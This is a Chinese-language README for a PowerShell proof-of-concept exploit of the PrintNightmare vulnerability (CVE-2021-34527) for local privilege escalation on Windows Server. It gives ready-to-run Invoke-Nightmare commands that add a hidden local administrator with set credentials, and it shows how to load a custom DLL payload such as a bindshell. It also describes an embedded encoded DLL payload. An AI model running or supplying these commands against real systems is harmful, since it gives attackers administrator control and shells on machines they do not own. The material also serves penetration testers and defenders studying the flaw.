CVE-2021-34527 是一个被称为 "PrintNightmare" 的关键远程代码执行和本地权限提升漏洞。
用于远程代码执行的概念验证漏洞利用已经发布(Python、C++),以及用于本地权限提升的C#版本。我尚未看到纯PowerShell的原生实现,因此我想尝试改进并重新编写该漏洞利用。
此PowerShell脚本利用PrintNightmare攻击技术执行本地权限提升(LPE)。
该脚本已在Windows Server 2016和Windows Server 2019上测试。
默认情况下,将新用户添加到本地管理员组:
Invoke-Nightmare # add user `adm1n`/`P@ssw0rd` in the local admin group by default
Invoke-Nightmare -DriverName "Xerox" -NewUser "K1LL9" -NewPassword "SuperSecure1o1"
提供自定义DLL负载,以执行其他任何你喜欢的操作。
Import-Module .\cve-2021-34527.ps1
Invoke-Nightmare -DLL "C:\absolute\path\to\your\bindshell.dll"
LPE技术无需与远程RPC或SMB配合使用,因为它仅利用Print Spooler的功能。 此脚本嵌入了一个Base64编码的GZIP压缩的自定义DLL负载,该负载根据你的参数进行修补,以便轻松将新用户添加到本地管理员组。 此脚本嵌入了来自PowerSploit/PowerUp的方法,以反射方式访问Win32 API。 此方法不会遍历所有打印机驱动程序来查找合适的DLL路径——它只是获取第一个驱动程序并确定相应的路径。